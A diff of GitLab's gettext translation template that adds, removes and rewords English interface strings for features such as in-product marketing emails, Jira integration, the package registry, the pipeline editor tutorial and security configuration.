msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
